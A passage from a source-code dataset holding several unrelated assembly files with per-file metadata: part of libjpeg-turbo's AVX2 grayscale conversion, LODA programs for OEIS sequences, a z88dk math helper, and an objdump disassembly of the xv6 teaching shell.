vmovdqa ymmB, ymmF vinserti128 ymmF, ymmF, xmmH, 1 ; ymmF=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B ; 0O 1O 2O 3O 0P 1P 2P 3P 0Q 1Q 2Q 3Q 0R 1R 2R 3R) vperm2i128 ymmH, ymmB, ymmH, 0x31 ; ymmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F ; 0S 1S 2S 3S 0T 1T 2T 3T 0U 1U 2U 3U 0V 1V 2V 3V) vmovdqa ymmD, ymmA vpunpcklbw ymmA, ymmA, ymmE ; ymmA=(00 04 10 14 20 24 30 34 01 05 11 15 21 25 31 35 ; 0G 0K 1G 1K 2G 2K 3G 3K 0H 0L 1H 1L 2H 2L 3H 3L) vpunpckhbw ymmD, ymmD, ymmE ; ymmD=(02 06 12 16 22 26 32 36 03 07 13 17 23 27 33 37 ; 0I 0M 1I 1M 2I 2M 3I 3M 0J 0N 1J 1N 2J 2N 3J 3N) vmovdqa ymmC, ymmF vpunpcklbw ymmF, ymmF, ymmH ; ymmF=(08 0C 18 1C 28 2C 38 3C 09 0D 19 1D 29 2D 39 3D ; 0O 0S 1O 1S 2O 2S 3O 3S 0P 0T 1P 1T 2P 2T 3P 3T) vpunpckhbw ymmC, ymmC, ymmH ; ymmC=(0A 0E 1A 1E 2A 2E 3A 3E 0B 0F 1B 1F 2B 2F 3B 3F ; 0Q 0U 1Q 1U 2Q 2U 3Q 3U 0R 0V 1R 1V 2R 2V 3R 3V) vmovdqa ymmB, ymmA vpunpcklwd ymmA, ymmA, ymmF ; ymmA=(00 04 08 0C 10 14 18 1C 20 24 28 2C 30 34 38 3C ; 0G 0K 0O 0S 1G 1K 1O 1S 2G 2K 2O 2S 3G 3K 3O 3S) vpunpckhwd ymmB, ymmB, ymmF ; ymmB=(01 05 09 0D 11 15 19 1D 21 25 29 2D 31 35 39 3D ; 0H 0L 0P 0T 1H 1L 1P 1T 2H 2L 2P 2T 3H 3L 3P 3T) vmovdqa ymmG, ymmD vpunpcklwd ymmD, ymmD, ymmC ; ymmD=(02 06 0A 0E 12 16 1A 1E 22 26 2A 2E 32 36 3A 3E ; 0I 0M 0Q 0U 1I 1M 1Q 1U 2I 2M 2Q 2U 3I 3M 3Q 3U) vpunpckhwd ymmG, ymmG, ymmC ; ymmG=(03 07 0B 0F 13 17 1B 1F 23 27 2B 2F 33 37 3B 3F ; 0J 0N 0R 0V 1J 1N 1R 1V 2J 2N 2R 2V 3J 3N 3R 3V) vmovdqa ymmE, ymmA vpunpcklbw ymmA, ymmA, ymmD ; ymmA=(00 02 04 06 08 0A 0C 0E 10 12 14 16 18 1A 1C 1E ; 0G 0I 0K 0M 0O 0Q 0S 0U 1G 1I 1K 1M 1O 1Q 1S 1U) vpunpckhbw ymmE, ymmE, ymmD ; ymmE=(20 22 24 26 28 2A 2C 2E 30 32 34 36 38 3A 3C 3E ; 2G 2I 2K 2M 2O 2Q 2S 2U 3G 3I 3K 3M 3O 3Q 3S 3U) vmovdqa ymmH, ymmB vpunpcklbw ymmB, ymmB, ymmG ; ymmB=(01 03 05 07 09 0B 0D 0F 11 13 15 17 19 1B 1D 1F ; 0H 0J 0L 0N 0P 0R 0T 0V 1H 1J 1L 1N 1P 1R 1T 1V) vpunpckhbw ymmH, ymmH, ymmG ; ymmH=(21 23 25 27 29 2B 2D 2F 31 33 35 37 39 3B 3D 3F ; 2H 2J 2L 2N 2P 2R 2T 2V 3H 3J 3L 3N 3P 3R 3T 3V) vpxor ymmF, ymmF, ymmF vmovdqa ymmC, ymmA vpunpcklbw ymmA, ymmA, ymmF ; ymmA=(00 02 04 06 08 0A 0C 0E 0G 0I 0K 0M 0O 0Q 0S 0U) vpunpckhbw ymmC, ymmC, ymmF ; ymmC=(10 12 14 16 18 1A 1C 1E 1G 1I 1K 1M 1O 1Q 1S 1U) vmovdqa ymmD, ymmB vpunpcklbw ymmB, ymmB, ymmF ; ymmB=(01 03 05 07 09 0B 0D 0F 0H 0J 0L 0N 0P 0R 0T 0V) vpunpckhbw ymmD, ymmD, ymmF ; ymmD=(11 13 15 17 19 1B 1D 1F 1H 1J 1L 1N 1P 1R 1T 1V) vmovdqa ymmG, ymmE vpunpcklbw ymmE, ymmE, ymmF ; ymmE=(20 22 24 26 28 2A 2C 2E 2G 2I 2K 2M 2O 2Q 2S 2U) vpunpckhbw ymmG, ymmG, ymmF ; ymmG=(30 32 34 36 38 3A 3C 3E 3G 3I 3K 3M 3O 3Q 3S 3U) vpunpcklbw ymmF, ymmF, ymmH vpunpckhbw ymmH, ymmH, ymmH vpsrlw ymmF, ymmF, BYTE_BIT ; ymmF=(21 23 25 27 29 2B 2D 2F 2H 2J 2L 2N 2P 2R 2T 2V) vpsrlw ymmH, ymmH, BYTE_BIT ; ymmH=(31 33 35 37 39 3B 3D 3F 3H 3J 3L 3N 3P 3R 3T 3V) %endif ; RGB_PIXELSIZE ; --------------- ; ymm0=R(02468ACEGIKMOQSU)=RE, ymm2=G(02468ACEGIKMOQSU)=GE, ymm4=B(02468ACEGIKMOQSU)=BE ; ymm1=R(13579BDFHJLNPRTV)=RO, ymm3=G(13579BDFHJLNPRTV)=GO, ymm5=B(13579BDFHJLNPRTV)=BO ; (Original) ; Y = 0.29900 * R + 0.58700 * G + 0.11400 * B ; ; (This implementation) ; Y = 0.29900 * R + 0.33700 * G + 0.11400 * B + 0.25000 * G vmovdqa ymm6, ymm1 vpunpcklwd ymm1, ymm1, ymm3 vpunpckhwd ymm6, ymm6, ymm3 vpmaddwd ymm1, ymm1, [rel PW_F0299_F0337] ; ymm1=ROL*FIX(0.299)+GOL*FIX(0.337) vpmaddwd ymm6, ymm6, [rel PW_F0299_F0337] ; ymm6=ROH*FIX(0.299)+GOH*FIX(0.337) vmovdqa ymm7, ymm6 ; ymm7=ROH*FIX(0.299)+GOH*FIX(0.337) vmovdqa ymm6, ymm0 vpunpcklwd ymm0, ymm0, ymm2 vpunpckhwd ymm6, ymm6, ymm2 vpmaddwd ymm0, ymm0, [rel PW_F0299_F0337] ; ymm0=REL*FIX(0.299)+GEL*FIX(0.337) vpmaddwd ymm6, ymm6, [rel PW_F0299_F0337] ; ymm6=REH*FIX(0.299)+GEH*FIX(0.337) vmovdqa YMMWORD [wk(0)], ymm0 ; wk(0)=REL*FIX(0.299)+GEL*FIX(0.337) vmovdqa YMMWORD [wk(1)], ymm6 ; wk(1)=REH*FIX(0.299)+GEH*FIX(0.337) vmovdqa ymm0, ymm5 ; ymm0=BO vmovdqa ymm6, ymm4 ; ymm6=BE vmovdqa ymm4, ymm0 vpunpcklwd ymm0, ymm0, ymm3 vpunpckhwd ymm4, ymm4, ymm3 vpmaddwd ymm0, ymm0, [rel PW_F0114_F0250] ; ymm0=BOL*FIX(0.114)+GOL*FIX(0.250) vpmaddwd ymm4, ymm4, [rel PW_F0114_F0250] ; ymm4=BOH*FIX(0.114)+GOH*FIX(0.250) vmovdqa ymm3, [rel PD_ONEHALF] ; ymm3=[PD_ONEHALF] vpaddd ymm0, ymm0, ymm1 vpaddd ymm4, ymm4, ymm7 vpaddd ymm0, ymm0, ymm3 vpaddd ymm4, ymm4, ymm3 vpsrld ymm0, ymm0, SCALEBITS ; ymm0=YOL vpsrld ymm4, ymm4, SCALEBITS ; ymm4=YOH vpackssdw ymm0, ymm0, ymm4 ; ymm0=YO vmovdqa ymm4, ymm6 vpunpcklwd ymm6, ymm6, ymm2 vpunpckhwd ymm4, ymm4, ymm2 vpmaddwd ymm6, ymm6, [rel PW_F0114_F0250] ; ymm6=BEL*FIX(0.114)+GEL*FIX(0.250) vpmaddwd ymm4, ymm4, [rel PW_F0114_F0250] ; ymm4=BEH*FIX(0.114)+GEH*FIX(0.250) vmovdqa ymm2, [rel PD_ONEHALF] ; ymm2=[PD_ONEHALF] vpaddd ymm6, ymm6, YMMWORD [wk(0)] vpaddd ymm4, ymm4, YMMWORD [wk(1)] vpaddd ymm6, ymm6, ymm2 vpaddd ymm4, ymm4, ymm2 vpsrld ymm6, ymm6, SCALEBITS ; ymm6=YEL vpsrld ymm4, ymm4, SCALEBITS ; ymm4=YEH vpackssdw ymm6, ymm6, ymm4 ; ymm6=YE vpsllw ymm0, ymm0, BYTE_BIT vpor ymm6, ymm6, ymm0 ; ymm6=Y vmovdqu YMMWORD [rdi], ymm6 ; Save Y sub rcx, byte SIZEOF_YMMWORD add rsi, RGB_PIXELSIZE*SIZEOF_YMMWORD ; inptr add rdi, byte SIZEOF_YMMWORD ; outptr0 cmp rcx, byte SIZEOF_YMMWORD jae near .columnloop test rcx, rcx jnz near .column_ld1 pop rcx ; col pop rsi pop rdi add rsi, byte SIZEOF_JSAMPROW ; input_buf add rdi, byte SIZEOF_JSAMPROW dec rax ; num_rows jg near .rowloop .return: pop rbx vzeroupper uncollect_args 5 mov rsp, rbp ; rsp <- aligned rbp pop rsp ; rsp <- original rbp pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 32
43.822727
96
0.533192
[ "BSD-3-Clause" ]
157356379/libjpeg-turbo
simd/x86_64/jcgryext-avx2.asm
19,282
Assembly
4
; A067423: Eighth column of triangle A067417. ; Submitted by Jamie Morken(s1) ; 1,10,240,5760,138240,3317760,79626240,1911029760,45864714240,1100753141760,26418075402240,634033809653760,15216811431690240,365203474360565760,8764883384653578240,210357201231685877760,5048572829560461066240,121165747909451065589760,2907977949826825574154240,69791470795843813779701760,1674995299100251530712842240,40199887178406036737108213760,964797292281744881690597130240,23155135014761877160574331125760,555723240354285051853783947018240,13337357768502841244490814728437760 mov $1,2 lpb $0 sub $0,1 add $2,10 mul $1,$2 mov $2,14 lpe mov $0,$1 mul $0,2 div $0,4
43.666667
480
0.858015
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/067/A067423.asm
655
Assembly
4
; A065128: Number of invertible n X n matrices mod 4 (i.e., over the ring Z_4). ; Submitted by Jon Maiga ; 1,2,96,86016,1321205760,335522845163520,1385295986380096143360,92239345887620476544860815360,98654363640526679389774053813465907200,1691558770638735027870457216848672340872423014400,464518059995994038184379206447729320401459864818351813427200 mov $2,1 mov $4,1 lpb $0 sub $0,1 add $3,$2 mul $2,2 mul $4,$3 mul $3,2 mul $4,$2 mul $2,2 lpe mov $0,$4
27.647059
244
0.774468
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/065/A065128.asm
470
Assembly
4
SECTION code_clib SECTION code_fp_math48 PUBLIC am48_dsigdig am48_dsigdig: ; exit : b = number of significant hex digits in double representation ; c = number of significant decimal digits in double representation ; ; uses : bc ld bc,$0a0b ret
17.3125
78
0.700361
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dsigdig.asm
277
Assembly
4
_sh: file format elf32-i386 Disassembly of section .text: 00000000 <runcmd>: struct cmd *parsecmd(char*); // Execute cmd. Never returns. void runcmd(struct cmd *cmd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) 6: 83 7d 08 00 cmpl $0x0,0x8(%ebp) a: 75 05 jne 11 <runcmd+0x11> exit(); c: e8 2f 13 00 00 call 1340 <exit> switch(cmd->type){ 11: 8b 45 08 mov 0x8(%ebp),%eax 14: 8b 00 mov (%eax),%eax 16: 83 f8 05 cmp $0x5,%eax 19: 77 09 ja 24 <runcmd+0x24> 1b: 8b 04 85 fc 18 00 00 mov 0x18fc(,%eax,4),%eax 22: ff e0 jmp *%eax default: panic("runcmd"); 24: 83 ec 0c sub $0xc,%esp 27: 68 d0 18 00 00 push $0x18d0 2c: e8 48 07 00 00 call 779 <panic> 31: 83 c4 10 add $0x10,%esp case EXEC: ecmd = (struct execcmd*)cmd; 34: 8b 45 08 mov 0x8(%ebp),%eax 37: 89 45 f4 mov %eax,-0xc(%ebp) if(ecmd->argv[0] == 0) 3a: 8b 45 f4 mov -0xc(%ebp),%eax 3d: 8b 40 04 mov 0x4(%eax),%eax 40: 85 c0 test %eax,%eax 42: 75 05 jne 49 <runcmd+0x49> exit(); 44: e8 f7 12 00 00 call 1340 <exit> exec(ecmd->argv[0], ecmd->argv); 49: 8b 45 f4 mov -0xc(%ebp),%eax 4c: 8d 50 04 lea 0x4(%eax),%edx 4f: 8b 45 f4 mov -0xc(%ebp),%eax 52: 8b 40 04 mov 0x4(%eax),%eax 55: 83 ec 08 sub $0x8,%esp 58: 52 push %edx 59: 50 push %eax 5a: e8 19 13 00 00 call 1378 <exec> 5f: 83 c4 10 add $0x10,%esp printf(2, "exec %s failed\n", ecmd->argv[0]); 62: 8b 45 f4 mov -0xc(%ebp),%eax 65: 8b 40 04 mov 0x4(%eax),%eax 68: 83 ec 04 sub $0x4,%esp 6b: 50 push %eax 6c: 68 d7 18 00 00 push $0x18d7 71: 6a 02 push $0x2 73: e8 9f 14 00 00 call 1517 <printf> 78: 83 c4 10 add $0x10,%esp break; 7b: e9 c6 01 00 00 jmp 246 <runcmd+0x246> case REDIR: rcmd = (struct redircmd*)cmd; 80: 8b 45 08 mov 0x8(%ebp),%eax 83: 89 45 f0 mov %eax,-0x10(%ebp) close(rcmd->fd); 86: 8b 45 f0 mov -0x10(%ebp),%eax 89: 8b 40 14 mov 0x14(%eax),%eax 8c: 83 ec 0c sub $0xc,%esp 8f: 50 push %eax 90: e8 d3 12 00 00 call 1368 <close> 95: 83 c4 10 add $0x10,%esp if(open(rcmd->file, rcmd->mode) < 0){ 98: 8b 45 f0 mov -0x10(%ebp),%eax 9b: 8b 50 10 mov 0x10(%eax),%edx 9e: 8b 45 f0 mov -0x10(%ebp),%eax a1: 8b 40 08 mov 0x8(%eax),%eax a4: 83 ec 08 sub $0x8,%esp a7: 52 push %edx a8: 50 push %eax a9: e8 d2 12 00 00 call 1380 <open> ae: 83 c4 10 add $0x10,%esp b1: 85 c0 test %eax,%eax b3: 79 1e jns d3 <runcmd+0xd3> printf(2, "open %s failed\n", rcmd->file); b5: 8b 45 f0 mov -0x10(%ebp),%eax b8: 8b 40 08 mov 0x8(%eax),%eax bb: 83 ec 04 sub $0x4,%esp be: 50 push %eax bf: 68 e7 18 00 00 push $0x18e7 c4: 6a 02 push $0x2 c6: e8 4c 14 00 00 call 1517 <printf> cb: 83 c4 10 add $0x10,%esp exit(); ce: e8 6d 12 00 00 call 1340 <exit> } runcmd(rcmd->cmd); d3: 8b 45 f0 mov -0x10(%ebp),%eax d6: 8b 40 04 mov 0x4(%eax),%eax d9: 83 ec 0c sub $0xc,%esp dc: 50 push %eax dd: e8 1e ff ff ff call 0 <runcmd> e2: 83 c4 10 add $0x10,%esp break; e5: e9 5c 01 00 00 jmp 246 <runcmd+0x246> case LIST: lcmd = (struct listcmd*)cmd; ea: 8b 45 08 mov 0x8(%ebp),%eax ed: 89 45 ec mov %eax,-0x14(%ebp) if(fork1() == 0) f0: e8 a4 06 00 00 call 799 <fork1> f5: 85 c0 test %eax,%eax f7: 75 12 jne 10b <runcmd+0x10b> runcmd(lcmd->left); f9: 8b 45 ec mov -0x14(%ebp),%eax fc: 8b 40 04 mov 0x4(%eax),%eax ff: 83 ec 0c sub $0xc,%esp 102: 50 push %eax 103: e8 f8 fe ff ff call 0 <runcmd> 108: 83 c4 10 add $0x10,%esp wait(); 10b: e8 38 12 00 00 call 1348 <wait> runcmd(lcmd->right); 110: 8b 45 ec mov -0x14(%ebp),%eax 113: 8b 40 08 mov 0x8(%eax),%eax 116: 83 ec 0c sub $0xc,%esp 119: 50 push %eax 11a: e8 e1 fe ff ff call 0 <runcmd> 11f: 83 c4 10 add $0x10,%esp break; 122: e9 1f 01 00 00 jmp 246 <runcmd+0x246> case PIPE: pcmd = (struct pipecmd*)cmd; 127: 8b 45 08 mov 0x8(%ebp),%eax 12a: 89 45 e8 mov %eax,-0x18(%ebp) if(pipe(p) < 0) 12d: 83 ec 0c sub $0xc,%esp 130: 8d 45 dc lea -0x24(%ebp),%eax 133: 50 push %eax 134: e8 17 12 00 00 call 1350 <pipe> 139: 83 c4 10 add $0x10,%esp 13c: 85 c0 test %eax,%eax 13e: 79 10 jns 150 <runcmd+0x150> panic("pipe"); 140: 83 ec 0c sub $0xc,%esp 143: 68 f7 18 00 00 push $0x18f7 148: e8 2c 06 00 00 call 779 <panic> 14d: 83 c4 10 add $0x10,%esp if(fork1() == 0){ 150: e8 44 06 00 00 call 799 <fork1> 155: 85 c0 test %eax,%eax 157: 75 4c jne 1a5 <runcmd+0x1a5> close(1); 159: 83 ec 0c sub $0xc,%esp 15c: 6a 01 push $0x1 15e: e8 05 12 00 00 call 1368 <close> 163: 83 c4 10 add $0x10,%esp dup(p[1]); 166: 8b 45 e0 mov -0x20(%ebp),%eax 169: 83 ec 0c sub $0xc,%esp 16c: 50 push %eax 16d: e8 46 12 00 00 call 13b8 <dup> 172: 83 c4 10 add $0x10,%esp close(p[0]); 175: 8b 45 dc mov -0x24(%ebp),%eax 178: 83 ec 0c sub $0xc,%esp 17b: 50 push %eax 17c: e8 e7 11 00 00 call 1368 <close> 181: 83 c4 10 add $0x10,%esp close(p[1]); 184: 8b 45 e0 mov -0x20(%ebp),%eax 187: 83 ec 0c sub $0xc,%esp 18a: 50 push %eax 18b: e8 d8 11 00 00 call 1368 <close> 190: 83 c4 10 add $0x10,%esp runcmd(pcmd->left); 193: 8b 45 e8 mov -0x18(%ebp),%eax 196: 8b 40 04 mov 0x4(%eax),%eax 199: 83 ec 0c sub $0xc,%esp 19c: 50 push %eax 19d: e8 5e fe ff ff call 0 <runcmd> 1a2: 83 c4 10 add $0x10,%esp } if(fork1() == 0){ 1a5: e8 ef 05 00 00 call 799 <fork1> 1aa: 85 c0 test %eax,%eax 1ac: 75 4c jne 1fa <runcmd+0x1fa> close(0); 1ae: 83 ec 0c sub $0xc,%esp 1b1: 6a 00 push $0x0 1b3: e8 b0 11 00 00 call 1368 <close> 1b8: 83 c4 10 add $0x10,%esp dup(p[0]); 1bb: 8b 45 dc mov -0x24(%ebp),%eax 1be: 83 ec 0c sub $0xc,%esp 1c1: 50 push %eax 1c2: e8 f1 11 00 00 call 13b8 <dup> 1c7: 83 c4 10 add $0x10,%esp close(p[0]); 1ca: 8b 45 dc mov -0x24(%ebp),%eax 1cd: 83 ec 0c sub $0xc,%esp 1d0: 50 push %eax 1d1: e8 92 11 00 00 call 1368 <close> 1d6: 83 c4 10 add $0x10,%esp close(p[1]); 1d9: 8b 45 e0 mov -0x20(%ebp),%eax 1dc: 83 ec 0c sub $0xc,%esp 1df: 50 push %eax 1e0: e8 83 11 00 00 call 1368 <close> 1e5: 83 c4 10 add $0x10,%esp runcmd(pcmd->right); 1e8: 8b 45 e8 mov -0x18(%ebp),%eax 1eb: 8b 40 08 mov 0x8(%eax),%eax 1ee: 83 ec 0c sub $0xc,%esp 1f1: 50 push %eax 1f2: e8 09 fe ff ff call 0 <runcmd> 1f7: 83 c4 10 add $0x10,%esp } close(p[0]); 1fa: 8b 45 dc mov -0x24(%ebp),%eax 1fd: 83 ec 0c sub $0xc,%esp 200: 50 push %eax 201: e8 62 11 00 00 call 1368 <close> 206: 83 c4 10 add $0x10,%esp close(p[1]); 209: 8b 45 e0 mov -0x20(%ebp),%eax 20c: 83 ec 0c sub $0xc,%esp 20f: 50 push %eax 210: e8 53 11 00 00 call 1368 <close> 215: 83 c4 10 add $0x10,%esp wait(); 218: e8 2b 11 00 00 call 1348 <wait> wait(); 21d: e8 26 11 00 00 call 1348 <wait> break; 222: eb 22 jmp 246 <runcmd+0x246> case BACK: bcmd = (struct backcmd*)cmd; 224: 8b 45 08 mov 0x8(%ebp),%eax 227: 89 45 e4 mov %eax,-0x1c(%ebp) if(fork1() == 0) 22a: e8 6a 05 00 00 call 799 <fork1> 22f: 85 c0 test %eax,%eax 231: 75 12 jne 245 <runcmd+0x245> runcmd(bcmd->cmd); 233: 8b 45 e4 mov -0x1c(%ebp),%eax 236: 8b 40 04 mov 0x4(%eax),%eax 239: 83 ec 0c sub $0xc,%esp 23c: 50 push %eax 23d: e8 be fd ff ff call 0 <runcmd> 242: 83 c4 10 add $0x10,%esp break; 245: 90 nop } exit(); 246: e8 f5 10 00 00 call 1340 <exit> 0000024b <getcmd>: } int getcmd(char *buf, int nbuf) { 24b: 55 push %ebp 24c: 89 e5 mov %esp,%ebp 24e: 83 ec 08 sub $0x8,%esp printf(2, "$ "); 251: 83 ec 08 sub $0x8,%esp 254: 68 14 19 00 00 push $0x1914 259: 6a 02 push $0x2 25b: e8 b7 12 00 00 call 1517 <printf> 260: 83 c4 10 add $0x10,%esp memset(buf, 0, nbuf); 263: 8b 45 0c mov 0xc(%ebp),%eax 266: 83 ec 04 sub $0x4,%esp 269: 50 push %eax 26a: 6a 00 push $0x0 26c: ff 75 08 pushl 0x8(%ebp) 26f: e8 a3 0e 00 00 call 1117 <memset> 274: 83 c4 10 add $0x10,%esp gets(buf, nbuf); 277: 83 ec 08 sub $0x8,%esp 27a: ff 75 0c pushl 0xc(%ebp) 27d: ff 75 08 pushl 0x8(%ebp) 280: e8 df 0e 00 00 call 1164 <gets> 285: 83 c4 10 add $0x10,%esp if(buf[0] == 0) // EOF 288: 8b 45 08 mov 0x8(%ebp),%eax 28b: 0f b6 00 movzbl (%eax),%eax 28e: 84 c0 test %al,%al 290: 75 07 jne 299 <getcmd+0x4e> return -1; 292: b8 ff ff ff ff mov $0xffffffff,%eax 297: eb 05 jmp 29e <getcmd+0x53> return 0; 299: b8 00 00 00 00 mov $0x0,%eax } 29e: c9 leave 29f: c3 ret 000002a0 <strncmp>: #ifdef USE_BUILTINS // ***** processing for shell builtins begins here ***** int strncmp(const char *p, const char *q, uint n) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp while(n > 0 && *p && *p == *q) 2a3: eb 0c jmp 2b1 <strncmp+0x11> n--, p++, q++; 2a5: 83 6d 10 01 subl $0x1,0x10(%ebp) 2a9: 83 45 08 01 addl $0x1,0x8(%ebp) 2ad: 83 45 0c 01 addl $0x1,0xc(%ebp) // ***** processing for shell builtins begins here ***** int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 2b1: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 2b5: 74 1a je 2d1 <strncmp+0x31> 2b7: 8b 45 08 mov 0x8(%ebp),%eax 2ba: 0f b6 00 movzbl (%eax),%eax 2bd: 84 c0 test %al,%al 2bf: 74 10 je 2d1 <strncmp+0x31> 2c1: 8b 45 08 mov 0x8(%ebp),%eax 2c4: 0f b6 10 movzbl (%eax),%edx 2c7: 8b 45 0c mov 0xc(%ebp),%eax 2ca: 0f b6 00 movzbl (%eax),%eax 2cd: 38 c2 cmp %al,%dl 2cf: 74 d4 je 2a5 <strncmp+0x5> n--, p++, q++; if(n == 0) 2d1: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 2d5: 75 07 jne 2de <strncmp+0x3e> return 0; 2d7: b8 00 00 00 00 mov $0x0,%eax 2dc: eb 16 jmp 2f4 <strncmp+0x54> return (uchar)*p - (uchar)*q; 2de: 8b 45 08 mov 0x8(%ebp),%eax 2e1: 0f b6 00 movzbl (%eax),%eax 2e4: 0f b6 d0 movzbl %al,%edx 2e7: 8b 45 0c mov 0xc(%ebp),%eax 2ea: 0f b6 00 movzbl (%eax),%eax 2ed: 0f b6 c0 movzbl %al,%eax 2f0: 29 c2 sub %eax,%edx 2f2: 89 d0 mov %edx,%eax } 2f4: 5d pop %ebp 2f5: c3 ret 000002f6 <makeint>: int makeint(char *p) { 2f6: 55 push %ebp 2f7: 89 e5 mov %esp,%ebp 2f9: 83 ec 10 sub $0x10,%esp int val = 0; 2fc: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while ((*p >= '0') && (*p <= '9')) { 303: eb 23 jmp 328 <makeint+0x32> val = 10*val + (*p-'0'); 305: 8b 55 fc mov -0x4(%ebp),%edx 308: 89 d0 mov %edx,%eax 30a: c1 e0 02 shl $0x2,%eax 30d: 01 d0 add %edx,%eax 30f: 01 c0 add %eax,%eax 311: 89 c2 mov %eax,%edx 313: 8b 45 08 mov 0x8(%ebp),%eax 316: 0f b6 00 movzbl (%eax),%eax 319: 0f be c0 movsbl %al,%eax 31c: 83 e8 30 sub $0x30,%eax 31f: 01 d0 add %edx,%eax 321: 89 45 fc mov %eax,-0x4(%ebp) ++p; 324: 83 45 08 01 addl $0x1,0x8(%ebp) int makeint(char *p) { int val = 0; while ((*p >= '0') && (*p <= '9')) { 328: 8b 45 08 mov 0x8(%ebp),%eax 32b: 0f b6 00 movzbl (%eax),%eax 32e: 3c 2f cmp $0x2f,%al 330: 7e 0a jle 33c <makeint+0x46> 332: 8b 45 08 mov 0x8(%ebp),%eax 335: 0f b6 00 movzbl (%eax),%eax 338: 3c 39 cmp $0x39,%al 33a: 7e c9 jle 305 <makeint+0xf> val = 10*val + (*p-'0'); ++p; } return val; 33c: 8b 45 fc mov -0x4(%ebp),%eax } 33f: c9 leave 340: c3 ret 00000341 <setbuiltin>: int setbuiltin(char *p) { 341: 55 push %ebp 342: 89 e5 mov %esp,%ebp 344: 83 ec 18 sub $0x18,%esp int i; p += strlen("_set"); 347: 83 ec 0c sub $0xc,%esp 34a: 68 17 19 00 00 push $0x1917 34f: e8 9c 0d 00 00 call 10f0 <strlen> 354: 83 c4 10 add $0x10,%esp 357: 01 45 08 add %eax,0x8(%ebp) while (strncmp(p, " ", 1) == 0) p++; // chomp spaces 35a: eb 04 jmp 360 <setbuiltin+0x1f> 35c: 83 45 08 01 addl $0x1,0x8(%ebp) 360: 83 ec 04 sub $0x4,%esp 363: 6a 01 push $0x1 365: 68 1c 19 00 00 push $0x191c 36a: ff 75 08 pushl 0x8(%ebp) 36d: e8 2e ff ff ff call 2a0 <strncmp> 372: 83 c4 10 add $0x10,%esp 375: 85 c0 test %eax,%eax 377: 74 e3 je 35c <setbuiltin+0x1b> if (strncmp("uid", p, 3) == 0) { 379: 83 ec 04 sub $0x4,%esp 37c: 6a 03 push $0x3 37e: ff 75 08 pushl 0x8(%ebp) 381: 68 1e 19 00 00 push $0x191e 386: e8 15 ff ff ff call 2a0 <strncmp> 38b: 83 c4 10 add $0x10,%esp 38e: 85 c0 test %eax,%eax 390: 75 57 jne 3e9 <setbuiltin+0xa8> p += strlen("uid"); 392: 83 ec 0c sub $0xc,%esp 395: 68 1e 19 00 00 push $0x191e 39a: e8 51 0d 00 00 call 10f0 <strlen> 39f: 83 c4 10 add $0x10,%esp 3a2: 01 45 08 add %eax,0x8(%ebp) while (strncmp(p, " ", 1) == 0) p++; // chomp spaces 3a5: eb 04 jmp 3ab <setbuiltin+0x6a> 3a7: 83 45 08 01 addl $0x1,0x8(%ebp) 3ab: 83 ec 04 sub $0x4,%esp 3ae: 6a 01 push $0x1 3b0: 68 1c 19 00 00 push $0x191c 3b5: ff 75 08 pushl 0x8(%ebp) 3b8: e8 e3 fe ff ff call 2a0 <strncmp> 3bd: 83 c4 10 add $0x10,%esp 3c0: 85 c0 test %eax,%eax 3c2: 74 e3 je 3a7 <setbuiltin+0x66> i = makeint(p); // ugly 3c4: 83 ec 0c sub $0xc,%esp 3c7: ff 75 08 pushl 0x8(%ebp) 3ca: e8 27 ff ff ff call 2f6 <makeint> 3cf: 83 c4 10 add $0x10,%esp 3d2: 89 45 f4 mov %eax,-0xc(%ebp) return (setuid(i)); 3d5: 8b 45 f4 mov -0xc(%ebp),%eax 3d8: 83 ec 0c sub $0xc,%esp 3db: 50 push %eax 3dc: e8 27 10 00 00 call 1408 <setuid> 3e1: 83 c4 10 add $0x10,%esp 3e4: e9 49 01 00 00 jmp 532 <setbuiltin+0x1f1> } else if (strncmp("gid", p, 3) == 0) { 3e9: 83 ec 04 sub $0x4,%esp 3ec: 6a 03 push $0x3 3ee: ff 75 08 pushl 0x8(%ebp) 3f1: 68 22 19 00 00 push $0x1922 3f6: e8 a5 fe ff ff call 2a0 <strncmp> 3fb: 83 c4 10 add $0x10,%esp 3fe: 85 c0 test %eax,%eax 400: 75 57 jne 459 <setbuiltin+0x118> p += strlen("gid"); 402: 83 ec 0c sub $0xc,%esp 405: 68 22 19 00 00 push $0x1922 40a: e8 e1 0c 00 00 call 10f0 <strlen> 40f: 83 c4 10 add $0x10,%esp 412: 01 45 08 add %eax,0x8(%ebp) while (strncmp(p, " ", 1) == 0) p++; // chomp spaces 415: eb 04 jmp 41b <setbuiltin+0xda> 417: 83 45 08 01 addl $0x1,0x8(%ebp) 41b: 83 ec 04 sub $0x4,%esp 41e: 6a 01 push $0x1 420: 68 1c 19 00 00 push $0x191c 425: ff 75 08 pushl 0x8(%ebp) 428: e8 73 fe ff ff call 2a0 <strncmp> 42d: 83 c4 10 add $0x10,%esp 430: 85 c0 test %eax,%eax 432: 74 e3 je 417 <setbuiltin+0xd6> i = makeint(p); // ugly 434: 83 ec 0c sub $0xc,%esp 437: ff 75 08 pushl 0x8(%ebp) 43a: e8 b7 fe ff ff call 2f6 <makeint> 43f: 83 c4 10 add $0x10,%esp 442: 89 45 f4 mov %eax,-0xc(%ebp) return (setgid(i)); 445: 8b 45 f4 mov -0xc(%ebp),%eax 448: 83 ec 0c sub $0xc,%esp 44b: 50 push %eax 44c: e8 bf 0f 00 00 call 1410 <setgid> 451: 83 c4 10 add $0x10,%esp 454: e9 d9 00 00 00 jmp 532 <setbuiltin+0x1f1> } if (strncmp("priority", p, 8) == 0) { 459: 83 ec 04 sub $0x4,%esp 45c: 6a 08 push $0x8 45e: ff 75 08 pushl 0x8(%ebp) 461: 68 26 